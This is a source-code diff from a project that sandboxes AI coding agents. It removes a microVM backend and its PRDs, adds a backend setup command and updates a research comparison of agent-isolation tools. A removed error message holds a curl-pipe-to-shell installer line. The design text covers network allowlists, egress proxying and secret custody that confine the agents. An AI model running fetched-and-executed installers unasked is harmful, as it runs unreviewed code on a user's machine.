if result.returncode != 0:
return False
try:
machines = json.loads(result.stdout or "[]")
except ValueError:
return False
return any(
isinstance(m, dict) and m.get("name") == name and m.get("state") == "running"
for m in machines
)
def machine_start(name: str) -> None:
"""`smolvm machine start --name NAME`."""
_smolvm("machine", "start", "--name", name)
def machine_stop(name: str) -> None:
"""`smolvm machine stop --name NAME`. Idempotent against
already-stopped machines: smolvm prints a notice and exits 0
in that case, so no special handling here."""
_smolvm("machine", "stop", "--name", name)
def machine_delete(name: str) -> None:
"""`smolvm machine delete --name NAME -f`. `-f` skips the
interactive confirmation required for non-interactive teardown."""
_smolvm("machine", "delete", "--name", name, "-f")
def machine_exec(
name: str,
argv: Sequence[str],
*,
env: Mapping[str, str] | None = None,
workdir: str | None = None,
timeout: str | None = None,
) -> SmolvmRunResult:
"""`smolvm machine exec --name NAME [-w DIR] [--timeout DUR]
[-e K=V ...] -- ARGV...`. Returns the captured result rather
than raising callers (including `Bottle.exec`) care about
the in-VM command's exit code, not just whether smolvm ran.
`env` here is in-VM env vars (`-e K=V`), not the host
subprocess env smolvm's own argv carries them through the
VMM."""
flags: list[str] = ["machine", "exec", "--name", name]
if workdir is not None:
flags += ["-w", workdir]
if timeout is not None:
flags += ["--timeout", timeout]
if env:
for k, v in env.items():
flags += ["-e", f"{k}={v}"]
# `--` separator before the command. smolvm's CLI requires it
# so its own flag parser doesn't grab argv items that look
# like flags.
flags.append("--")
flags += list(argv)
result = _smolvm(*flags, check=False)
return SmolvmRunResult(
returncode=result.returncode,
stdout=result.stdout or "",
stderr=result.stderr or "",
)
def wait_exec_ready(name: str, *, timeout: float = 5.0) -> None:
"""Poll `machine exec true` until exit 0 or `timeout` elapses.
Replaces `time.sleep(1.5)` after `machine_start`: libkrun's exec
channel needs a brief warm-up before back-to-back exec calls are
safe. Polling exits as soon as the channel is ready and fails
loudly if the VM never responds."""
deadline = time.monotonic() + timeout
delay = 0.1
while time.monotonic() < deadline:
r = machine_exec(name, ["true"])
if r.returncode == 0:
return
remaining = deadline - time.monotonic()
if remaining <= 0:
break
time.sleep(min(delay, remaining))
delay = min(delay * 2, 0.5)
argv = ["smolvm", "machine", "exec", "--name", name, "--", "true"]
raise SmolvmError(
argv,
subprocess.CompletedProcess(
args=argv, returncode=-1, stdout="",
stderr=f"exec channel not ready after {timeout:.0f}s — VM may have failed to boot.",
),
)
def machine_cp(src: str, dst: str) -> None:
"""`smolvm machine cp SRC DST`. Path syntax: `machine:path` to
reference a path inside the VM, bare path for the host. Both
SRC and DST are positional; either side can be machine: or
bare. Empty path is a no-op (returns immediately without
invoking smolvm)."""
if not src or not dst:
return
_smolvm("machine", "cp", src, dst)
# --- Discovery -----------------------------------------------------------
def is_available() -> bool:
"""True iff `smolvm` is on PATH. Used by the integration test
suite's skip-guards."""
return shutil.which(_SMOLVM) is not None
-82
View File
@@ -1,82 +0,0 @@
"""Slug / preflight / subnet helpers for the smolmachines backend
(PRD 0023). Kept in its own module so the renderers can be
unit-tested without importing the docker subprocess paths."""
from __future__ import annotations
import hashlib
import os
import platform
import shutil
from ...log import die
# libkrun's Linux backend drives the guest through KVM, so the host
# must expose `/dev/kvm` and the invoking user must be able to open
# it. macOS uses Hypervisor.framework and needs no device node.
_KVM_DEVICE = "/dev/kvm"
def smolmachines_preflight() -> None:
"""Ensure the host can run the smolmachines backend before the
launch flow starts. Called from `_resolve_plan`; surfaces a
clear, actionable error instead of a cryptic `smolvm` failure
deep in launch.
Checks `smolvm` is on PATH (both platforms) and, on Linux,
that `/dev/kvm` exists and is accessible. `gvproxy` is no
longer required see the PRD's design pivot section."""
if shutil.which("smolvm") is None:
die(
"BOT_BOTTLE_BACKEND=smolmachines requires `smolvm` on "
"PATH. Install with: "
"curl -sSL https://smolmachines.com/install.sh | sh. "
"To use the legacy Docker backend instead, set "
"BOT_BOTTLE_BACKEND=docker or pass --backend=docker."
)
if platform.system() == "Linux":
_preflight_kvm()
def _preflight_kvm() -> None:
"""Linux-only: libkrun needs `/dev/kvm`. Distinguish 'KVM not
enabled' from 'no permission' so the operator knows which to
fix."""
if not os.path.exists(_KVM_DEVICE):
die(
f"BOT_BOTTLE_BACKEND=smolmachines needs {_KVM_DEVICE} on "
"Linux but it is missing. Enable KVM: load the kvm-intel "
"or kvm-amd kernel module (and confirm virtualization is "
"enabled in BIOS/firmware). To use the legacy Docker "
"backend instead, set BOT_BOTTLE_BACKEND=docker."
)
if not os.access(_KVM_DEVICE, os.R_OK | os.W_OK):
die(
f"{_KVM_DEVICE} exists but is not readable/writable by the "
"current user. Add your user to the `kvm` group "
"(`sudo usermod -aG kvm \"$USER\"`) and re-login, or run "
"with access to the device."
)
def smolmachines_bundle_subnet(slug: str) -> tuple[str, str, str]:
"""Derive a per-bottle docker subnet + gateway IP + bundle IP
from the slug.
Returns `(subnet_cidr, gateway_ip, bundle_ip)`. The third
octet comes from SHA-256 of the slug mod 254 (skipping 17 to
avoid the docker-default bridge), so parallel bottles get
distinct /24s and `resume` reuses the same /24. The bundle
container always lands at `.2`; gateway is `.1`; the smolvm
Smolfile's `allow_cidrs` is `<bundle_ip>/32`."""
digest = hashlib.sha256(slug.encode("utf-8")).digest()
octet = (digest[0] % 254) + 1
# Skip the docker-default bridge to dodge the most common
# collision (operators with `docker0` at 172.17.x.x or a
# 192.168.17.x VPN client).
if octet == 17:
octet = 18
subnet = f"192.168.{octet}.0/24"
gateway = f"192.168.{octet}.1"
bundle_ip = f"192.168.{octet}.2"
return subnet, gateway, bundle_ip
+3 -3
View File
@@ -105,9 +105,9 @@ class BottleMetadata:
# written before chunk 3 (resume / inspect should fall back to
# deriving from identity in that case).
compose_project: str = ""
# PRD 0040: backend name ("docker" or "smolmachines"). Empty string
# for state dirs written before PRD 0040; callers default to "docker"
# for backward compatibility.
# PRD 0040: backend name ("docker", "firecracker", "macos-container").
# Empty string for state dirs written before PRD 0040; callers default
# to "docker" for backward compatibility.
backend: str = ""
label: str = ""
color: str = ""
+4 -1
View File
@@ -1,6 +1,6 @@
"""Main CLI dispatcher.
Commands: cleanup, commit, edit, info, init, list, resume, start, supervise
Commands: backend, cleanup, commit, edit, info, init, list, resume, start, supervise
"""
from __future__ import annotations
@@ -13,6 +13,7 @@ from ..manifest import ManifestError
from ..store_manager import StoreManager
from ._common import PROG
from . import list as _list_mod
from .backend import cmd_backend
from .cleanup import cmd_cleanup
from .commit import cmd_commit
from .edit import cmd_edit
@@ -25,6 +26,7 @@ from .supervise import cmd_supervise
cmd_list = _list_mod.cmd_list
COMMANDS = {
"backend": cmd_backend,
"cleanup": cmd_cleanup,
"commit": cmd_commit,
"edit": cmd_edit,
@@ -40,6 +42,7 @@ COMMANDS = {
def usage() -> None:
sys.stderr.write(f"usage: {PROG} <command> [args...]\n\n")
sys.stderr.write("Commands:\n")
sys.stderr.write(" backend set up / check / undo a backend's host prerequisites (setup|status|teardown)\n")
sys.stderr.write(" cleanup stop and remove all active bot-bottle containers\n")
sys.stderr.write(" commit snapshot a running bottle's container state to a Docker image\n")
sys.stderr.write(" edit open an agent in vim for editing\n")
+46
View File
@@ -0,0 +1,46 @@
"""`backend` CLI command — generic host setup/status across backends.
`./cli.py backend setup [--backend=NAME]` provisions (or points at how
to provision) the chosen backend's one-time host prerequisites.
`./cli.py backend status [--backend=NAME]` reports readiness.
`./cli.py backend teardown [--backend=NAME]` undoes setup (uninstall).
All dispatch to the backend's `setup()` / `status()` / `teardown()`
classmethods, so there are no backend-specific commands swapping
backends is just a different `--backend` (or `$BOT_BOTTLE_BACKEND`, or
the host default).
"""
from __future__ import annotations
import argparse
from ..backend import get_bottle_backend, known_backend_names
from ._common import PROG
def cmd_backend(args: list[str]) -> int:
parser = argparse.ArgumentParser(
prog=f"{PROG} backend",
description="Set up or check a backend's host prerequisites.",
)
parser.add_argument(
"action",
choices=("setup", "status", "teardown"),
help="setup: provision/print host prerequisites; status: report "
"readiness; teardown: undo setup (uninstall)",
)
parser.add_argument(
"--backend",
choices=known_backend_names(),
default=None,
help="backend to target (default: $BOT_BOTTLE_BACKEND or the host default)",
)
ns = parser.parse_args(args)
backend = get_bottle_backend(ns.backend)
if ns.action == "setup":
return backend.setup()
if ns.action == "teardown":
return backend.teardown()
return backend.status()
+5 -5
View File
@@ -1,14 +1,14 @@
"""cleanup: stop and remove all orphaned bot-bottle resources.
Walks every registered backend (docker + smolmachines) so a single
`./cli.py cleanup` reaps both backends' leftovers — orphaned
smolvm machines won't survive a docker-only cleanup pass (issue
addressed alongside #77).
Walks every registered backend (docker, firecracker, macos-container)
so a single `./cli.py cleanup` reaps every backend's leftovers — a
firecracker bottle's sidecars won't survive a docker-only cleanup pass
(issue addressed alongside #77).
Each backend's `prepare_cleanup` enumerates its own resources;
docker's `_list_orphan_state_dirs` consults
`enumerate_active_agents()` for the union of live identities so
state dirs of running smolmachines bottles aren't reaped. State
state dirs of running non-docker bottles aren't reaped. State
dirs are shared layout, so docker is the single owner of that
bucket.
+4 -4
View File
@@ -2,10 +2,10 @@
Docker bottles are committed to a local Docker image. Macos-container
bottles are exported and rebuilt as a local Apple Container image.
Smolmachines bottles are packed from the running VM into a
`.smolmachine` artifact. The resulting reference is stored in
per-bottle state so the next `./cli.py resume <slug>` boots from the
snapshot instead of rebuilding from the Dockerfile.
Firecracker bottles stream the guest rootfs out over SSH and rebuild a
local Docker image. The resulting reference is stored in per-bottle
state so the next `./cli.py resume <slug>` boots from the snapshot
instead of rebuilding from the Dockerfile.
"""
from __future__ import annotations
+3 -2
View File
@@ -45,8 +45,9 @@ def cmd_list(argv: list[str]) -> int:
print(name)
return 0
# `active` enumerates every backend (docker + smolmachines)
# so smolmachines bottles aren't hidden behind the env var.
# `active` enumerates every backend (docker, firecracker,
# macos-container) so non-docker bottles aren't hidden behind
# the env var.
active = enumerate_active_agents()
if not active:
print("no active bot-bottle bottles", file=sys.stderr)
+4 -33
View File
@@ -36,7 +36,6 @@ from ..bottle_state import (
is_preserved,
mark_preserved,
)
from ..image_cache import StaleImageError
from ..log import info, die
from ..manifest import Manifest, ManifestIndex
from ._common import PROG, USER_CWD, read_tty_line
@@ -64,14 +63,6 @@ def cmd_start(argv: list[str]) -> int:
"skip all prompts. For orchestrators, CI, and webhooks."
),
)
parser.add_argument(
"--cached-images",
action="store_true",
help=(
"quickstart with existing local agent and sidecar images; "
"only valid with --headless"
),
)
parser.add_argument(
"--bottle",
action="append",
@@ -104,8 +95,6 @@ def cmd_start(argv: list[str]) -> int:
help="agent name defined in bot-bottle.json (omit to pick interactively)",
)
args = parser.parse_args(argv)
if args.cached_images and not args.headless:
die("--cached-images is only supported with --headless")
dry_run = args.dry_run or os.environ.get("BOT_BOTTLE_DRY_RUN") == "1"
@@ -153,10 +142,6 @@ def cmd_start(argv: list[str]) -> int:
label, color = tui.name_color_modal(default_label=agent_name)
label, color = _resolve_unique_label(label, color)
image_policy = _select_image_policy()
if image_policy is None:
return 0
spec = BottleSpec(
manifest=manifest,
agent_name=agent_name,
@@ -165,7 +150,6 @@ def cmd_start(argv: list[str]) -> int:
label=label,
color=color,
bottle_names=bottle_names,
image_policy=image_policy,
)
return _launch_bottle(
spec,
@@ -226,7 +210,6 @@ def _start_headless(
color=args.color or "",
bottle_names=bottle_names,
headless=True,
image_policy="cached" if args.cached_images else "fresh",
)
return _launch_bottle(
spec,
@@ -407,13 +390,6 @@ def _text_prompt_yes() -> bool:
return reply in ("y", "Y", "yes", "YES")
def _select_image_policy() -> str | None:
return tui.filter_select(
["fresh", "cached"],
title="Select image startup mode",
)
def _text_render_preflight():
def _render(plan: DockerBottlePlan, backend_name: str) -> None:
print(file=sys.stderr)
@@ -556,15 +532,6 @@ def _launch_bottle(
return 0
backend = get_bottle_backend(backend_name)
try:
backend.prelaunch_checks(plan)
except StaleImageError as exc:
if assume_yes:
die(str(exc))
sys.stderr.write(f"bot-bottle: {exc}\nLaunch anyway? [y/N] ")
sys.stderr.flush()
if read_tty_line() not in ("y", "Y", "yes", "YES"):
return 0
with backend.launch(plan) as bottle:
agent_provider_template = getattr(plan, "agent_provider_template", "claude")
extra_args: tuple[str, ...] = ()
@@ -583,6 +550,10 @@ def _launch_bottle(
f"session ended (exit {exit_code}); "
f"container {bottle.name} will be removed"
)
# While the container is still alive: always snapshot the
# transcript and — if the agent exited non-zero — mark
# the state for preservation. This picks up crashes /
# Ctrl-Cs / OOM kills before cleanup removes the state dir.
if agent_provider_template == "claude":
capture_claude_session_state(identity, exit_code)
return 0
-5
View File
@@ -28,9 +28,6 @@ from ..backend.docker.egress_apply import (
from ..backend.macos_container.egress_apply import (
applicator as _macos_applicator,
)
from ..backend.smolmachines.egress_apply import (
applicator as _smolmachines_applicator,
)
from ..log import Die, error, info
from ..supervise import (
@@ -79,8 +76,6 @@ def apply_routes_change(slug: str, content: str) -> tuple[str, str]:
backend = meta.backend if meta is not None else ""
if backend == "macos-container":
return _macos_applicator.apply_routes_change(slug, content)
if backend == "smolmachines":
return _smolmachines_applicator.apply_routes_change(slug, content)
return _docker_applicator.apply_routes_change(slug, content)
-71
View File
@@ -1,71 +0,0 @@
"""SQLite-backed bot-bottle configuration store."""
from __future__ import annotations
from pathlib import Path
try:
from .db_store import DbStore
from .migrations import TableMigrations
from .supervise_types import host_db_path
except ImportError:
from db_store import DbStore # type: ignore[import-not-found] # pylint: disable=import-error,no-name-in-module
from migrations import TableMigrations # type: ignore[import-not-found] # pylint: disable=import-error,no-name-in-module
from supervise_types import host_db_path # type: ignore[import-not-found] # pylint: disable=import-error,no-name-in-module
DEFAULT_CACHED_IMAGE_STALE_WARNING_DAYS = 1
class ConfigStore(DbStore):
"""SQLite configuration for host-side bot-bottle settings."""
def __init__(self, db_path: Path | None = None) -> None:
migrations = TableMigrations("config_store", [
# v1 — host-side bot-bottle settings
"""
CREATE TABLE IF NOT EXISTS bot_bottle_config (
id INTEGER PRIMARY KEY CHECK (id = 1),
cached_image_stale_warning_days INTEGER NOT NULL DEFAULT 1
)
""",
])
super().__init__(db_path or host_db_path(), migrations)
def cached_image_stale_warning_days(self) -> int:
if not self.db_path.is_file():
return DEFAULT_CACHED_IMAGE_STALE_WARNING_DAYS
with self._connect() as conn:
row = conn.execute(
"""
SELECT cached_image_stale_warning_days
FROM bot_bottle_config
WHERE id = 1
""",
).fetchone()
if row is None:
return DEFAULT_CACHED_IMAGE_STALE_WARNING_DAYS
try:
return int(row["cached_image_stale_warning_days"])
except (TypeError, ValueError):
return DEFAULT_CACHED_IMAGE_STALE_WARNING_DAYS
def set_cached_image_stale_warning_days(self, days: int) -> Path:
with self._connect() as conn:
conn.execute(
"""
INSERT INTO bot_bottle_config (id, cached_image_stale_warning_days)
VALUES (1, ?)
ON CONFLICT(id) DO UPDATE SET
cached_image_stale_warning_days = excluded.cached_image_stale_warning_days
""",
(days,),
)
self._chmod()
return self.db_path
__all__ = [
"DEFAULT_CACHED_IMAGE_STALE_WARNING_DAYS",
"ConfigStore",
]
+2 -2
View File
@@ -37,8 +37,8 @@ if [ -n "$EGRESS_UPSTREAM_PROXY" ]; then
fi
# Bind address. Docker backend wants `0.0.0.0` (agent dials egress
# directly via the docker network alias). Smolmachines backend
# uses EGRESS_LISTEN_HOST when a non-default binding is needed.
# directly via the docker network alias). A VM backend uses
# EGRESS_LISTEN_HOST when a non-default binding is needed.
LISTEN_HOST_FLAG=""
if [ -n "$EGRESS_LISTEN_HOST" ]; then
LISTEN_HOST_FLAG="--listen-host $EGRESS_LISTEN_HOST"
+3 -3
View File
@@ -76,14 +76,14 @@ def git_gate_render_gitconfig(
entries: tuple[ManifestGitEntry, ...], gate_host: str, *, scheme: str = "git",
) -> str:
"""Render the agent's ~/.gitconfig content for git-gate
`insteadOf` rewrites. Pure host-side, no docker / smolvm;
`insteadOf` rewrites. Pure host-side, no docker / VM;
exposed for tests + reuse across backends.
`gate_host` is the part of the URL between `<scheme>://` and the
repo path backends differ here:
- docker: `git-gate` (the short network alias)
- smolmachines: `<bundle_ip>:<port>` (no DNS in the
TSI-allowlisted guest)
- firecracker: `<bundle_ip>:<port>` (no DNS on the
point-to-point TAP link)
Empty `entries` returns an empty string so callers can no-op
cleanly without conditional formatting at the call site."""
+4 -3
View File
@@ -1,8 +1,9 @@
"""Tiny smart-HTTP wrapper for git-gate repos.
Used by the smolmachines backend where `git://` push traffic over the
host-published Docker port can hang before receive-pack reaches hooks.
The wrapper serves the same `/git/*.git` bare repos through
Used where `git://` push traffic over a host-published Docker port can
hang before receive-pack reaches hooks (e.g. the firecracker backend,
where the guest reaches the sidecar over the point-to-point TAP). The
wrapper serves the same `/git/*.git` bare repos through
`git http-backend`, so pre-receive and upstream forwarding remain the
git-gate enforcement point.
"""
-42
View File
@@ -1,42 +0,0 @@
"""Shared helpers for cached-image quickstart stale checks."""
from __future__ import annotations
from datetime import datetime, timezone
from pathlib import Path
try:
from .config_store import ConfigStore
except ImportError:
from config_store import ConfigStore # type: ignore[import-not-found] # pylint: disable=import-error,no-name-in-module
class StaleImageError(Exception):
"""Raised when a cached image or artifact exceeds the configured staleness
threshold. Callers can catch this to prompt interactively; headless paths
let it propagate as a fatal error."""
def check_stale(label: str, created_at: datetime) -> None:
"""Raise StaleImageError if `created_at` is older than the configured
stale-warning threshold. Negative threshold disables the check."""
threshold_days = ConfigStore().cached_image_stale_warning_days()
if threshold_days < 0:
return
now = datetime.now(timezone.utc)
created = created_at.astimezone(timezone.utc)
age = now - created
if age.total_seconds() <= threshold_days * 86400:
return
raise StaleImageError(
f"cached {label} is {age.days} day(s) old; "
"quickstart does not verify it matches the current Dockerfile/context"
)
def check_stale_path(label: str, path: Path) -> None:
"""Raise StaleImageError if `path`'s mtime exceeds the staleness threshold."""
check_stale(label, datetime.fromtimestamp(path.stat().st_mtime, tz=timezone.utc))
__all__ = ["StaleImageError", "check_stale", "check_stale_path"]
-4
View File
@@ -6,11 +6,9 @@ from pathlib import Path
try:
from .audit_store import AuditStore
from .config_store import ConfigStore
from .queue_store import QueueStore
except ImportError:
from audit_store import AuditStore # type: ignore[import-not-found] # pylint: disable=import-error,no-name-in-module
from config_store import ConfigStore # type: ignore[import-not-found] # pylint: disable=import-error,no-name-in-module
from queue_store import QueueStore # type: ignore[import-not-found] # pylint: disable=import-error,no-name-in-module
_instance: StoreManager | None = None
@@ -52,13 +50,11 @@ class StoreManager:
return (
QueueStore("", self.db_path).is_migrated()
and AuditStore(self.db_path).is_migrated()
and ConfigStore(self.db_path).is_migrated()
)
def migrate(self) -> None:
QueueStore("", self.db_path).migrate()
AuditStore(self.db_path).migrate()
ConfigStore(self.db_path).migrate()
__all__ = ["StoreManager"]
+1 -1
View File
@@ -85,7 +85,7 @@ SUPERVISE_PORT = 9100
# tool. The hostname + port match egress's docker network
# listen port (see backend.docker.egress.EGRESS_PORT). The supervise
# daemon runs inside the sidecar bundle alongside egress, so loopback
# is the stable address across docker, smolmachines, and Apple
# is the stable address across docker, firecracker, and Apple
# Container backends.
EGRESS_FORWARD_PROXY = "http://127.0.0.1:9099"
EGRESS_INTROSPECT_URL = "http://_egress.local/allowlist"
+3 -1
View File
@@ -1,6 +1,8 @@
# PRD 0023: smolmachines bottle backend
- **Status:** Active
> **Superseded (2026-07-11).** The smolmachines backend was removed — Linux now uses the Firecracker backend, macOS uses macos-container. Kept as a historical record; see the removal commit `c07ebca` and `docs/research/landscape-containerized-claude.md`.
- **Status:** Superseded (2026-07-11) — was Active
- **Author:** didericis
- **Created:** 2026-05-26
@@ -1,6 +1,8 @@
# PRD 0032: Decompose smolmachines launch and harden bringup sequencing
- **Status:** Active
> **Superseded (2026-07-11).** The smolmachines backend was removed — Linux now uses the Firecracker backend, macOS uses macos-container. Kept as a historical record; see the removal commit `c07ebca` and `docs/research/landscape-containerized-claude.md`.
- **Status:** Superseded (2026-07-11) — was Active
- **Author:** didericis-claude
- **Created:** 2026-06-02
- **Issue:** #122
+3 -1
View File
@@ -1,6 +1,8 @@
# PRD 0038: smolmachines Env Contract and Secret-Safe Injection
- **Status:** Active
> **Superseded (2026-07-11).** The smolmachines backend was removed — Linux now uses the Firecracker backend, macOS uses macos-container. Kept as a historical record; see the removal commit `c07ebca` and `docs/research/landscape-containerized-claude.md`.
- **Status:** Superseded (2026-07-11) — was Active
- **Author:** didericis-codex
- **Created:** 2026-06-02
- **Issue:** #135
@@ -1,6 +1,8 @@
# PRD 0039: smolmachines Capability-Block Remediation
- **Status:** Active
> **Superseded (2026-07-11).** The smolmachines backend was removed — Linux now uses the Firecracker backend, macOS uses macos-container. Kept as a historical record; see the removal commit `c07ebca` and `docs/research/landscape-containerized-claude.md`.
- **Status:** Superseded (2026-07-11) — was Active
- **Author:** didericis-codex
- **Created:** 2026-06-02
- **Issue:** #136
+3 -1
View File
@@ -1,6 +1,8 @@
# PRD 0042: smolmachines Cross-Backend Parity Tests
- **Status:** Active
> **Superseded (2026-07-11).** The smolmachines backend was removed — Linux now uses the Firecracker backend, macOS uses macos-container. Kept as a historical record; see the removal commit `c07ebca` and `docs/research/landscape-containerized-claude.md`.
- **Status:** Superseded (2026-07-11) — was Active
- **Author:** didericis-codex
- **Created:** 2026-06-02
- **Issue:** #139
+3 -1
View File
@@ -1,6 +1,8 @@
# PRD 0057: Promote smolmachines to default backend; convert Docker to example-only
- **Status:** Active
> **Superseded (2026-07-11).** The smolmachines backend was removed — Linux now uses the Firecracker backend, macOS uses macos-container. Kept as a historical record; see the removal commit `c07ebca` and `docs/research/landscape-containerized-claude.md`.
- **Status:** Superseded (2026-07-11) — was Active
- **Author:** didericis
- **Created:** 2026-06-06
- **Issue:** #206
+3 -1
View File
@@ -1,6 +1,8 @@
# PRD 0068: smolmachines backend on Linux
- **Status:** Active
> **Superseded (2026-07-11).** The smolmachines backend was removed — Linux now uses the Firecracker backend, macOS uses macos-container. Kept as a historical record; see the removal commit `c07ebca` and `docs/research/landscape-containerized-claude.md`.
- **Status:** Superseded (2026-07-11) — was Active
- **Author:** Claude
- **Created:** 2026-06-25
- **Issue:** #283
@@ -1,115 +0,0 @@
# PRD prd-new: smolmachines sidecar VM
- **Status:** Active
- **Author:** codex
- **Created:** 2026-07-09
- **Issue:** #332
## Summary
Run the smolmachines backend's trusted sidecar bundle as its own smolVM instead
of a Docker container. A bottle then consists of an agent VM plus a sidecar VM,
with the agent VM's TSI allowlist limited to the per-bottle agent-facing
sidecar surface.
## Problem
The smolmachines backend currently runs the agent in smolVM but keeps
egress/git-gate/supervise in a Docker sidecar bundle. That hybrid launch path
keeps Docker in the trusted runtime path and leaves smolmachines with a
different isolation boundary than its agent VM design suggests.
The existing Docker sidecar path also uses Docker port publishing to bind only
agent-facing services to the per-bottle host address. TSI is IP-only, so the
smolVM replacement must preserve that scoping: publishing sidecar services on
generic host localhost would let the agent reach unrelated host services or
other bottle sidecars if those services share the allowed address.
## Goals / Success Criteria
1. `BOT_BOTTLE_BACKEND=smolmachines ./cli.py start <agent>` runs with both the
agent and sidecar as smolVMs.
2. The smolmachines launch path no longer uses `docker run` for the sidecar
bundle.
3. Agent-facing egress, git-gate, and supervise endpoints are exposed only
through the bottle's own published sidecar surface.
4. Internal sidecar-only ports are not reachable from the agent VM.
5. The agent VM TSI allowlist remains fail-closed and limited to the per-bottle
address.
6. Sidecar config, secrets, and state are delivered to the sidecar VM without
exposing provider or forge credentials to the agent VM.
7. Teardown removes both VMs and any host-side published port state.
## Non-goals
- Rewriting the egress, git-gate, or supervise daemons.
- Changing the Docker backend's sidecar bundle behavior.
- Replacing the existing agent image build and pack pipeline except where shared
helper extraction is needed for sidecar image packing.
- Weakening the current smolmachines TSI allowlist checks.
## Design
The sidecar VM continues to use the existing sidecar bundle image and
`/app/sidecar_init.py` supervisor. The launch flow builds the sidecar image,
packs it into a `.smolmachine` artifact, creates a per-bottle sidecar VM from
that artifact, passes the same daemon-selection environment the Docker bundle
uses today, mounts or copies the same daemon-private config/state inputs, starts
the sidecar VM, wraps the sidecar VM's raw smolVM-published ports with a local
per-bottle forwarder, then starts the agent VM with
`--allow-cidr <per-bottle-address>/32`.
smolVM currently exposes guest ports as `HOST:GUEST` port pairs bound on host
loopback. It does not expose an address-scoped bind like
`127.0.0.16:<port>:9099`. Because TSI is IP-only, bot-bottle must not advertise
those raw loopback ports directly to the agent. Instead, bot-bottle runs one
small stdlib Python TCP forwarder process per bottle:
```text
agent VM
-> TSI allows only <bottle-address>/32
-> bot-bottle forwarder bound to <bottle-address>:<random-port>
-> raw smolVM-published sidecar port on 127.0.0.1:<raw-port>
-> sidecar VM service
```
Agent-facing URLs are stamped from the forwarder ports, never the raw smolVM
ports:
- `HTTP_PROXY` / `HTTPS_PROXY` point at the published egress proxy port.
- `GIT_GATE_URL` points at the published git HTTP port when git-gate is enabled.
- `MCP_SUPERVISE_URL` points at the published supervise port when supervise is
enabled.
Internal sidecar-only services stay bound inside the sidecar VM and are not
published.
### Forwarder constraints
- Reject wildcard listener binds (`0.0.0.0`, `::`) and generic localhost
listener binds (`127.0.0.1`, `::1`) for agent-facing forwards.
- Accept only fixed loopback targets selected by launch; the client cannot
choose or influence the forwarding target.
- Forward bytes transparently without parsing HTTP, CONNECT, TLS, Git, or MCP.
- Log lifecycle and endpoint metadata only; never log payload bytes.
- Create forwards only for egress, git HTTP when enabled, and supervise when
enabled.
- Fail closed if any listener cannot bind exactly the requested per-bottle
address.
## Implementation chunks
1. Extract the existing image-to-smolmachine pack helper so agent and sidecar
artifacts share the same cache and registry path.
2. Add a strict stdlib host TCP forwarder for per-bottle address-bound
forwarding to raw smolVM-published sidecar ports.
3. Add a sidecar VM launch spec and lifecycle helpers: pack, create, start,
publish/discover ports, stop, delete.
4. Switch smolmachines launch from Docker sidecar bundle lifecycle to sidecar VM
plus forwarder lifecycle.
5. Update egress apply / reload paths for the sidecar VM supervisor.
6. Add unit tests for argv shape, URL stamping, teardown, and fail-closed
behavior.
7. Add or update integration coverage for agent-to-sidecar reachability, host
localhost denial, other-bottle alias denial, internal port denial, and
teardown cleanup.
+69 -13
View File
@@ -1,14 +1,20 @@
# Landscape: containerized Claude Code agent tools
# Landscape: containerized AI coding agent tools
Research into whether bot-bottle is redundant with existing projects, and
whether it's worth publishing.
## Summary
The "Claude Code in Docker" space is active but not saturated. bot-bottle
occupies a distinct position: no surveyed project combines all five of its
defining features. Publishing is likely worthwhile, with the main risk being
claudebox expanding to absorb the same niche.
The "AI coding agents in isolated sandboxes" space is active but not saturated.
bot-bottle occupies a distinct position: no surveyed project combines all five
of its defining features. Publishing is likely worthwhile, with the main risk
being claudebox expanding to absorb the same niche.
**Updated 2026-07-09:** bot-bottle now supports three isolation backends
(Docker, Apple `container`, smolmachines/libkrun microVMs) and three built-in
agent providers (Claude Code, OpenAI Codex, Pi) with an open plugin system for
arbitrary providers. This meaningfully strengthens the differentiation against
all surveyed competitors.
## Closest competitor: claudebox
@@ -43,28 +49,78 @@ manifest merge.
Still marked early-development.
- **E2B, Northflank, Cloudflare Sandbox SDK** — cloud-hosted SaaS sandbox
runtimes; fundamentally different architecture.
- **superhq.ai / SuperHQ** (v0.4.4, April 2026) — macOS desktop app (Rust/GPUI)
that runs Claude Code, Codex, and Pi inside microVMs via Apple's
Virtualization.framework (their own shuru-sdk / libkrun). Auth gateway
injects API keys on the wire so the sandbox never sees them; tmpfs overlay
stages agent writes for diff-and-accept review; mobile remote access via
remote.superhq.ai. Early alpha, free on launch, Apple Silicon only.
Overlap: both projects cover agent isolation, credential proxying, and
multi-provider support (Claude Code / Codex / Pi). Differences: SuperHQ is a
GUI desktop app with no manifest layer; bot-bottle is a CLI fleet manager with
named agents, skills injection, per-agent system prompts, and cross-platform
backends (Docker, Apple `container`, smolmachines). SuperHQ's microVM
isolation story is now partially matched by bot-bottle's `macos_container` and
smolmachines backends. Worth watching — it targets the same security-minded
power-user audience and moves fast.
**Known gap in SuperHQ (user-requested, as of 2026-07-09):** A named user
(Brian Cheong, Founder, Dunialabs.io) explicitly called out the absence of
per-run audit logging: tool calls and network egress. Bot-bottle covers both:
network egress is logged by pipelock/mitmproxy, and per-run op-log/audit state
is persisted to SQLite.
## What no found project does
None combine:
1. Named-agent JSON manifest with per-agent env resolution (prompt / host-forward / literal)
2. Claude Code skills directory injection
1. Named-agent manifest with per-agent env resolution (prompt / host-forward / literal), supporting multiple providers (Claude Code, Codex, Pi, arbitrary plugins)
2. Skills directory injection
3. Per-agent system prompts
4. SSH-agent key forwarding without copying private keys into the container
5. Home + project manifest merge
6. Pluggable isolation backends: Docker (Linux/macOS), Apple `container` (macOS microVMs), smolmachines/libkrun microVMs
7. Per-run audit log: network egress via pipelock/mitmproxy + op-log persisted to SQLite
**In-flight directions (not yet shipped):**
- **Forge-native dispatch (issue #317):** Gitea webhook → orchestrator spins up a bottle
with the issue body as prompt → agent works → bottle freezes awaiting review comment →
rehydrates on comment → tears down on PR close. The issue-to-PR lifecycle concept is not
novel (Devin, Copilot Workspace, SWE-agent all do this as cloud services); what's
distinct is doing it self-hosted, manifest-driven, inside bot-bottle's isolation
primitives.
- **Paid web control plane (issue #327):** Browser-based multi-host agent launch and
monitoring; account-scoped bottle and agent definitions; secret custody (encrypted at
rest, injected into the sidecar at launch, never exposed to the agent or returned by any
read API). Monetization model: OSS runtime free, control plane paid — a standard split
(HashiCorp, Grafana) applied to a self-hosted agent sandbox. The principled secret
custody model (agent never sees real credentials, even via printenv) is more rigorous
than most surveyed tools but not unprecedented.
## Publishing verdict
Worth publishing. Differentiators that matter to the target audience (power
users running parallel Claude Code sessions with distinct personas/tooling):
users running parallel AI coding agent sessions with distinct personas/tooling):
- The Python-stdlib-first, low-dependency design — competitors are npm-based or
Kubernetes-native.
- The Python-stdlib-first, low-dependency design — competitors are npm-based,
